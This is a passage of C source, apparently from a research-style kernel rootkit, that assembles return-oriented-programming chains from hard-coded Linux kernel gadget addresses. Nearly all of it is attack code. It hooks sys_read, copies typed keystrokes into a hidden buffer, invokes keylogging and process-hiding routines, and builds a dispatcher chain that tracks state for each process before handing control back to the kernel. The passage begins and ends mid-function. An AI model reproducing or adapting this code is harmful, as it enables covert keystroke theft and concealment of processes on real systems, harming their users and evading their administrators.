add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // TMP,
// must be overwritten by init
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET
// We now move the current kernel stack into RSI. The gadget contains
// a call, so we must setup RBX first. Simply pop the return address that
// is pushed by the call
add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size); // POP RBX; RET;
add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size); // Address of POP RBX;
// RET;
// Now move the kernel stack pointer (RAX) to RSI
add_to_fake_stack(0xffffffff8103b7b9, &payload_stack, &payload_stack_size); // MOV RSI,RAX;
// CALL RBX;
// We first move the address of 'sys_read' onto the kernel stack
// This will execute the read system call when we return to the kernel
// stack
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff81194370, &payload_stack, &payload_stack_size); // Address of 'sys_read'
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// 'sys_read' now on the kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Now we have to restore all arguments of sys_read
// We start with RDI.
// Load the original value of RDI on the stack.
generate_get_state_value(&payload_stack, &payload_stack_size,
RDI, REG_RAX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Value of RDI on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Load Address of 'POP RDI; RET' into RDI such that the first argument
// of sys_read ends up in RDI.
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
generate_pop(&payload_stack, &payload_stack_size, REG_RDI);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// POP RDI; RET on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Next RSI.
// Load the original value of RSI on the stack.
generate_get_state_value(&payload_stack, &payload_stack_size,
RSI, REG_RAX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Value of RSI on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Load Address of 'POP RSI; RET' into RSI such that the second argument
// of sys_read ends up in RSI.
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
generate_pop(&payload_stack, &payload_stack_size, REG_RSI);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// POP RSI; RET on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Finally RDX
// Load the original value of RDX on the stack.
generate_get_state_value(&payload_stack, &payload_stack_size,
RDX, REG_RAX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Value of RDX on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Load Address of 'POP RDX; RET' into RDX such that the third argument
// of sys_read ends up in RDX.
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
generate_pop(&payload_stack, &payload_stack_size, REG_RDX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// POP RDX; RET on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Move our interrupt enabling gadget to the kernel stack.
// This will enable interrupts on the kernel stack
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size); // Address of STI; RET;
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// STI; RET; now on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// We move the address of 'kfree' onto the kernel stack
// This will free the memory of the payload area before we return to
// userland.
// The payload pointer will be in RSI.
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff8117c7b0, &payload_stack, &payload_stack_size); // Address of 'kfree'
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// 'kfree' now on the kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Load the original RBP value into RAX
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_patch_entry(&payload_stack, &payload_stack_size, RBP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // RBP,
// must be overwritten by init
// We want the VALUE within the state field of RBP
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET;
// Move the original RBP to the kernel stack
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Orginal RBP now on kernel stack.
// Save new value of kernel stack pointer
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP, REG_RSI);
// ----------------------------------------------------------------
// 3. Restore/Prepare Registers
// ----------------------------------------------------------------
// Restore the Original value of RBX as it is callee saved
generate_get_state_value(&payload_stack, &payload_stack_size,
RBX, REG_RBX);
// Set RDI to the payload pointer for the call to 'kfree'
generate_get_state_value(&payload_stack, &payload_stack_size,
PAYLOAD, REG_RDI);
// ----------------------------------------------------------------
// 4. Transfer control back to the kernel.
// ----------------------------------------------------------------
// IMPORTANT: Do NOT override RDI, RSI, or RDX!
// For this we first get the kernel stack value from the state
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // TMP,
// must be overwritten by init
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET
// MOVE RAX to RBP for the LEAVE; RET;
// Move new SP to RBP
add_to_fake_stack(0xffffffff8116747c, &payload_stack, &payload_stack_size); // PUSH RAX; POP RBP; RET
// Ramrod, activate the kernel.
add_to_fake_stack(LEAVE_RET, &payload_stack, &payload_stack_size); // LEAVE; RET;
// ----------------------------------------------------------------
// 5. Patch the conditional jump
// ----------------------------------------------------------------
generate_conditional_jump_equal(&jmp_to_read_handler,
&jmp_to_read_handler_size,
payload_stack_size-jmp_to_read_handler_size);
// ----------------------------------------------------------------
// << CHECK FOR STDIN
// ================================================================
// ================================================================
// >> EXECUTE READ
// ----------------------------------------------------------------
// Our payload requires the result of the read system call. Thus
// we start by executing it. The problem with the read system call,
// however, is that it disables interrupts
// First load all the arguments (RDI, RSI, RDX)
// ----------------------------------------------------------------
// LOAD RSI
// ----------------------------------------------------------------
generate_get_state_value(&payload_stack, &payload_stack_size,
RSI, REG_RSI);
// ----------------------------------------------------------------
// LOAD RDI
// ----------------------------------------------------------------
// We cannot make use of the normal gadget as it uses RDI.
// Thus we use the unsafe gadget.
generate_get_state_value_unsafe(&payload_stack, &payload_stack_size,
RDI, REG_RDI);
// ----------------------------------------------------------------
// LOAD RDX
// ----------------------------------------------------------------
// RDX must be last, since the get_state_value_unsafe gadget
// sequence uses it.
generate_get_state_value_unsafe(&payload_stack, &payload_stack_size,
RDX, REG_RDX);
// ----------------------------------------------------------------
// Invoke SYS_READ
// ----------------------------------------------------------------
// Load Address of 'sys_read' into RAX
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff81194370, &payload_stack, &payload_stack_size); // Address of sys_read
// Enable interrupts
// IMPORTANT: This is crucial! Some paths in sys_read expect interrupts to
// be enabled. Otherwise this could lead to errors.
add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size); // STI; RET;
// "Call" sys_read
add_to_fake_stack(0xffffffff81000110, &payload_stack, &payload_stack_size); // JMP RAX;
// RAX now contains the return value of sys_read
// Read my reenable interrupts. So we make sure they are off when
// we return.
add_to_fake_stack(0xffffffff811e3492, &payload_stack, &payload_stack_size); // CLI; RET;
// Save the return value such that we later can hand control back to the
// system call handler
add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size); // POP RSI, RET;
add_patch_entry(&payload_stack, &payload_stack_size, RAX, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // RAX
// must be overwritten by init
// RSI now points to RAX within the state!
// Save the return value within the state
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// ----------------------------------------------------------------
// << EXECUTE READ DONE
// ================================================================
// ================================================================
// >> FUNCTIONALITY SYS_READ
// ----------------------------------------------------------------
// This area contains the actual funtionality.
// ----------------------------------------------------------------
// Check the bytes read
// ----------------------------------------------------------------
// We are only interested in typed commands. We use the number of
// bytes read to distinguish typed command from other data read on
// STDIN.
// RBX must contain the value to compare with
// RDX must contain the value to compare
// RBX -> 1
generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
add_to_fake_stack(0x1, &payload_stack, &payload_stack_size); // Only proceed if
// just a single byte
// was read
// RDX must contain the return value of sys_read
generate_get_state_value(&payload_stack, &payload_stack_size,
RAX, REG_RDX);
// Jump placeholder. Will be fixed at the end.
jmp_to_epilog = payload_stack;
generate_conditional_jump_not_equal(&payload_stack, &payload_stack_size, 0x0);
jmp_to_epilog_size = payload_stack_size;
// ----------------------------------------------------------------
// Copy byte into buffer
// ----------------------------------------------------------------
// This will only be executed if we read a single byte.
// Move the byte into the buffer.
// Load the current index into rdi
generate_get_state_value(&payload_stack, &payload_stack_size,
BUFFER_INDEX, REG_RDI);
// Load the base address into rax
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_patch_entry(&payload_stack, &payload_stack_size, BUFFER, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // BUFFER,
// must be overwritten
// Increase the buffer by the current index
add_to_fake_stack(0xffffffff8104c41d, &payload_stack, &payload_stack_size); // ADD RAX, RDI; RET
// Move the pointer in RAX to RSI
generate_move_from_rax(&payload_stack, &payload_stack_size, REG_RSI);
// Load the data that was read into RAX
// The buffer the data was put into was the original value of RSI
generate_get_state_value(&payload_stack, &payload_stack_size,
RSI, REG_RAX);
// Get the data
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET
// Move to buffer
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Buffer now contains the data, but it is not 0 terminated.
// Move RSI to the next byte
generate_add_value(&payload_stack, &payload_stack_size,
0x1, REG_RSI);
// Load 0x0 into RAX
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);
// Move to buffer
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Data now 0 terminated
// Finally we must update the index
generate_get_state_value(&payload_stack, &payload_stack_size,
BUFFER_INDEX, REG_RAX);
// Add 1
generate_add_value(&payload_stack, &payload_stack_size,
0x1, REG_RAX);
// Move back
generate_set_state_value(&payload_stack, &payload_stack_size,
BUFFER_INDEX, REG_RAX);
// ----------------------------------------------------------------
// Let the keylogger do its thing.
// ----------------------------------------------------------------
generate_keylog(&payload_stack, &payload_stack_size);
// ----------------------------------------------------------------
// Next hide & unhide process
// ----------------------------------------------------------------
generate_hide_task(&payload_stack, &payload_stack_size);
generate_unhide_task(&payload_stack, &payload_stack_size);
// ----------------------------------------------------------------
// Patch the conditional jump
// ----------------------------------------------------------------
generate_conditional_jump_not_equal(&jmp_to_epilog,
&jmp_to_epilog_size,
payload_stack_size-jmp_to_epilog_size);
// ----------------------------------------------------------------
// << FUNCTIONALITY SYS_READ DONE
// ================================================================
// ================================================================
// >> EPILOG SYS_READ
// ----------------------------------------------------------------
// In the epilog we must restore the callee saved registers (RBX,
// RBP), the return value, and hand control back to the original
// kernel execution path.
// ----------------------------------------------------------------
// 1. Get the location of the original kernel stack
// ----------------------------------------------------------------
// Lets first calculate the address of the kernel stack.
// For this we move the address of the per_cpu kernel stack into RAX.
// This address is contained in gs:0xc730. It is a fixed address for
// our target machine.
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffff88003d80c730, &payload_stack, &payload_stack_size); // gs:0xc730
// We want the VALUE at this address
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET
// Load offset from per_cpu(kernel_stack) to current
// kernel stack (basically we have to account for the memory
// that the system call handler is using) into RSI
add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size); // POP RSI; RET;
add_to_fake_stack(0x60, &payload_stack, &payload_stack_size); // Offset. This is
// the space that the
// system_call_handler
// is using.
// We now have to SUBSTRACT (the stack grows down!) this value from the
// kernel stack in RAX to get the value the SP had before our sysenter
// hook was invoked.
add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size); // SUB RAX, RSI; RET;
// ----------------------------------------------------------------
// 2. Prepare the kernel stack for the control transfer
// ----------------------------------------------------------------
// The original kernel stack still contains the return address. We can
// use this and switch to it using a LEAVE; RET. What is missing is the
// original RBP on the kernel stack. So we write it there.
// First of all we store the kernel stack value temporarily.
// To do this we move it to the state TMP filed that we load
// into RSI.
add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size); // POP RSI; RET;
add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // TMP,
// must be overwritten by init
// SAVE
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Restore RAX, which was overwritten by the last gadget
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // TMP,
// must be overwritten by init
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET
// We now move the current kernel stack into RSI. The gadget contains
// a call, so we must setup RBX first. Simply pop the return address that
// is pushed by the call
add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size); // POP RBX; RET;
add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size); // Address of POP RBX;
// RET;
// Now move the kernel stack pointer (RAX) to RSI
add_to_fake_stack(0xffffffff8103b7b9, &payload_stack, &payload_stack_size); // MOV RSI,RAX;
// CALL RBX;
// Since we want to call a function (kfree) before we return, we have to
// place the return value of the system call we executed on the stack
// such that it is popped after the call to kfree.
// 1. Load the return value into RAX.
generate_get_state_value(&payload_stack, &payload_stack_size,
RAX, REG_RAX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// return value now on the kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Address of 'POP RAX; RET' into RAX
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// POP RAX; RET on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Load STI; RET; on kernel stack
// This will enable interrupts on the kernel stack
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size); // Address of STI; RET;
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// STI; RET; now on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// We now move the address of 'kfree' onto the kernel stack
// This will free the memory of the payload area before we return.
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff8117c7b0, &payload_stack, &payload_stack_size); // Address of 'kfree'
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// 'kfree' now on the kernel stack
// Move our interrupt enabling gadget to the kernel stack.
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Load the original RBP value into RAX
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_patch_entry(&payload_stack, &payload_stack_size, RBP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // RBP,
// must be overwritten by init
// We want the VALUE within the state field of RBP
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET;
// Move the original RBP to the kernel stack
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Orginal RBP now on kernel stack.
// Save new value of kernel stack pointer
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP, REG_RSI);
// ----------------------------------------------------------------
// 3. Restore/Prepare Registers
// ----------------------------------------------------------------
// Restore the Original value of RBX as it is callee saved
generate_get_state_value(&payload_stack, &payload_stack_size,
RBX, REG_RBX);
// Set RDI to the payload pointer for the call to 'kfree'
generate_get_state_value(&payload_stack, &payload_stack_size,
PAYLOAD, REG_RDI);
// ----------------------------------------------------------------
// 4. Transfer control back to the kernel.
// ----------------------------------------------------------------
// IMPORTANT: Do NOT override RDI!
// For this we first get the kernel stack value from the state
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // TMP,
// must be overwritten by init
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET
// MOVE RAX to RBP for the LEAVE; RET;
// Move new SP to RBP
add_to_fake_stack(0xffffffff8116747c, &payload_stack, &payload_stack_size); // PUSH RAX; POP RBP; RET
// Ramrod, activate the kernel.
add_to_fake_stack(LEAVE_RET, &payload_stack, &payload_stack_size); // LEAVE; RET;
// ----------------------------------------------------------------
// << EPILOG SYS_READ DONE
// ================================================================
printf(" [!] DONE.\n");
printf(" [!] Payload stack size %ld bytes\n", payload_stack_size);
}
/**
* This function will create and setup our dispatcher fake stack.
*
* The dispatcher fake stack is written to the dispatcher_stack
* variable. To do this, the dispatcher_stack is first created
* using malloc. Since the dispatcher chain is also responsible
* for the creation of the payload chain on every invocation,
* this function also needs access to the payload chain that
* is supposed create during its invocation.
*
* @param payload_chain A pointer that points to the END
* of the payload chain.
* @param payload_size The size of the payload chain.
*
*/
static void create_dispatcher_fake_stack(void *payload_chain,
u32 payload_size)
{
u32 i = 0;
// Patching locations.
u32 loop_begin = 0;
void *found_jump_location = 0;
void *found_jump_over_location = 0;
u32 found_jump_size = 0;
u32 found_jump_over_size = 0;
void *not_found_jump_location = 0;
u32 not_found_jump_size = 0;
// Helper for easy handling of the stack.
void **fake_stack = 0;
u32 *fake_stack_size = 0;
// payload points to the beginning of the payload chain
u64 *payload = (u64 *)(((char *)payload_chain) - payload_size);
printf(" [+] Creating dispatcher fake stack...\n");
dispatcher_stack = malloc(DISPACTHER_STACK_SIZE);
if (!dispatcher_stack)
{
error(-1, 0, " \t[!] Failed to reserve memory for "
"the dispatcher fake stack!\n");
}
printf(" \t[*] dispatcher fake stack @ %p\n", dispatcher_stack);
// Setup variables
fake_stack = &dispatcher_stack;
fake_stack_size = &dispatcher_stack_size;
printf(" \t[*] Writing 'get_current_process'...");
// ================================================================
// >> OBTAIN PROCESS
// ----------------------------------------------------------------
// Get the task_struct pointer of the currently executing process
generate_pop(fake_stack, fake_stack_size, REG_RAX); // POP RAX; RET;
add_to_fake_stack(0xffff88003d80c740, fake_stack, fake_stack_size); // gs:0xc740
// We want the VALUE at this address
add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size); // MOV RAX, [RAX]; RET
// struct task_struct * now in RAX.
// Save the pointer such that we can use RAX for other purposes.
// We stored it temporarily in GLOBAL TMP.
generate_set_state_value(fake_stack, fake_stack_size, GLOBAL_TMP,
REG_RAX);
// ----------------------------------------------------------------
// << OBTAIN PROCESS DONE
// ================================================================
printf(" Done.\n");
printf(" \t[*] Writing search process state...");
// ================================================================
// >> SEARCH FOR PROCESS STATE
// ----------------------------------------------------------------
// We now have to check whether a state for this process already
// exists or whether we have to create a new state field. We use
// a "while" loop for this purpose.
// Load the counter into RSI
generate_pop(fake_stack, fake_stack_size, REG_RSI);
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // Counter is zero at the
// beginning.
// ----------------------------------------------------------------
// SEARCH LOOP
// ----------------------------------------------------------------
// LOOP_BEGIN:
loop_begin = (*fake_stack_size);
// Did we reach the end of the array? To see this, we have to
// compare PROC_INDEX with the current counter value.
// First we load PROC_INDEX into RBX.
generate_get_state_value(fake_stack, fake_stack_size,
PROC_INDEX, REG_RBX);
// Next we load the counter (RSI) into RDX
generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
// Compare. If match goto NOT_FOUND
not_found_jump_location = (*fake_stack);
generate_conditional_jump_equal(fake_stack, fake_stack_size, 0x0);
not_found_jump_size = (*fake_stack_size);
// This code is only executed if this is a valid entry.
// Load the compare value into RBX.
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_TMP, REG_RBX);
// Load the base address of the state into RAX
generate_pop(fake_stack, fake_stack_size, REG_RAX); // POP RAX; RET;
add_patch_entry(fake_stack, fake_stack_size, PROC_STATE, 0x0);
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // Will be overwritten
// Add the current index to the base address
add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size); // ADD RAX, RSI; RET;
// Get the value at the calculated address.
add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size); // MOV RAX, [RAX]; RET
// Load the compare value into RDX
generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
// Check wether the value match. If we found the entry, we jump
// to FOUND.
found_jump_location = (*fake_stack);
generate_conditional_jump_equal(fake_stack, fake_stack_size, 0x0);
found_jump_size = (*fake_stack_size);
// This part is only executed if this is not the entry we are
// looking for.
// Increase the counter such that it points to the next entry.
// Each entry is 16 bytes long, thus we increase by 16.
generate_add_value(fake_stack, fake_stack_size, 16, REG_RSI);
// Jump back up to LOOP_BEGIN
generate_stack_decrement(fake_stack, fake_stack_size,
(*fake_stack_size) - loop_begin);
// ----------------------------------------------------------------
// FOUND:
// ----------------------------------------------------------------
// Update size
found_jump_size = (*fake_stack_size) - found_jump_size;
// The entry we are looking for is specified by RSI, which is the
// offset of the entry from the beginning of the array. We want
// the state value of the entry, which is 8 bytes behind the
// position where RSI currently points to. Thus we first increment
// RSI.
generate_add_value(fake_stack, fake_stack_size, 8, REG_RSI);
// Next we load the base address into RAX
generate_pop(fake_stack, fake_stack_size, REG_RAX); // POP RAX; RET;
add_patch_entry(fake_stack, fake_stack_size, PROC_STATE, 0x0);
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // Will be overwritten
// Add the current index to the base address
add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size); // ADD RAX, RSI; RET;
// Get the VALUE at the address.
add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size); // MOV RAX, [RAX]; RET
// Move the value to CUR_STATE
generate_set_state_value(fake_stack, fake_stack_size,
CUR_STATE, REG_RAX);
// Jump over NOT_FOUND. As the size of NOT FOUND is unknown at
// this point in time we need to patch this location later on.
found_jump_over_location = (*fake_stack);
generate_stack_increment(fake_stack, fake_stack_size, 0x0);
found_jump_over_size = (*fake_stack_size);
// ----------------------------------------------------------------
// NOT_FOUND
// ----------------------------------------------------------------
// Save the size for patching.
not_found_jump_size = (*fake_stack_size) - not_found_jump_size;
// There does not exist a local state for this process yet. Thus
// we must create on. But first we save the task_struct pointer
// into the array.
// First load the current index into RSI
generate_get_state_value(fake_stack, fake_stack_size,
PROC_INDEX, REG_RSI);
// Load the task struct pointer into RDX.
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_TMP, REG_RDX);
// Set RAX to point to the next free entry in the PROC_STATE array
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_patch_entry(fake_stack, fake_stack_size, PROC_STATE, 0x0);
add_to_fake_stack(0x0, fake_stack, fake_stack_size);
// Add Index to the the PROC_STATE pointer
add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size); // ADD RAX, RSI; RET
// Move task_struct pointer to array.
add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size); // MOV [RAX],RDX; RET
// Increase the PROC_INDEX
generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RSI);
// Move the update PROC_INDEX back
generate_set_state_value(fake_stack, fake_stack_size,
PROC_INDEX, REG_RSI);
// Next we need to reserve memory for the state.
generate_kmalloc(fake_stack, fake_stack_size, PROCESS_STATE_SIZE);
// Pointer in RAX
// Save the pointer
generate_set_state_value(fake_stack, fake_stack_size,
CUR_STATE, REG_RAX);
// Now we can write the kmalloc pointer into the PROC_STATE
// array. Basically we use the same sequence as .before.
// First we load the current index into RSI
generate_get_state_value(fake_stack, fake_stack_size,
PROC_INDEX, REG_RSI);
// Load the state pointer into RDX.
generate_get_state_value(fake_stack, fake_stack_size,
CUR_STATE, REG_RDX);
// Set RAX to point to the next free entry in the PROC_STATE array
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_patch_entry(fake_stack, fake_stack_size, PROC_STATE, 0x0);
add_to_fake_stack(0x0, fake_stack, fake_stack_size);
// Add Index to the the PROC_STATE pointer
add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size); // ADD RAX, RSI; RET
// Move task_struct pointer to array.
add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size); // MOV [RAX],RDX; RET
// Increase the PROC_INDEX
generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RSI);
// Move the update PROC_INDEX back
generate_set_state_value(fake_stack, fake_stack_size,
PROC_INDEX, REG_RSI);
// Finally we must setup the state area.
// For this we must load the pointer into RAX.
generate_get_state_value(fake_stack, fake_stack_size,
CUR_STATE, REG_RAX);
// Then we can use the init gadget sequence
generate_initialize_process_state(fake_stack, fake_stack_size);
// ----------------------------------------------------------------
// PATCH ALL JUMPS
// ----------------------------------------------------------------
// At last we must patch all of the jumps from above.
// But first save the jump over size.
found_jump_over_size = (*fake_stack_size) - found_jump_over_size;
// FOUND
generate_conditional_jump_equal(&found_jump_location,
&found_jump_size,
found_jump_size);
// NOT FOUND
generate_conditional_jump_equal(¬_found_jump_location,
¬_found_jump_size,
not_found_jump_size);
// Jump over NOT FOUND after FOUND was executed.
generate_stack_increment(&found_jump_over_location,
&found_jump_over_size,
found_jump_over_size);
// ----------------------------------------------------------------
// << SEARCH FOR PROCESS STATE
// ================================================================
printf(" Done.\n");
printf(" \t[*] Writing copy register sequence...");
// ================================================================
// >> COPY REGISTER
// ----------------------------------------------------------------
// Copy the register value from the global state to the local
// state.
// IMPORTANT: We assume the register order has not changed!
// (RDX, RCX, RBX, RSI, RDI, RAX, RBP)
// Load state into RCX.
generate_get_state_value(fake_stack, fake_stack_size,
CUR_STATE, REG_RCX);
// ----------------------------------------------------------------
// RDX
// ----------------------------------------------------------------
// Load Value of RDX into RDI
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_RDX, REG_RDI);
// WRITE RDX
add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size); // MOV [RCX], RDI;
// XOR EAX,EAX;
// RET;
// Increase RCX
generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RCX);
// ----------------------------------------------------------------
// RCX
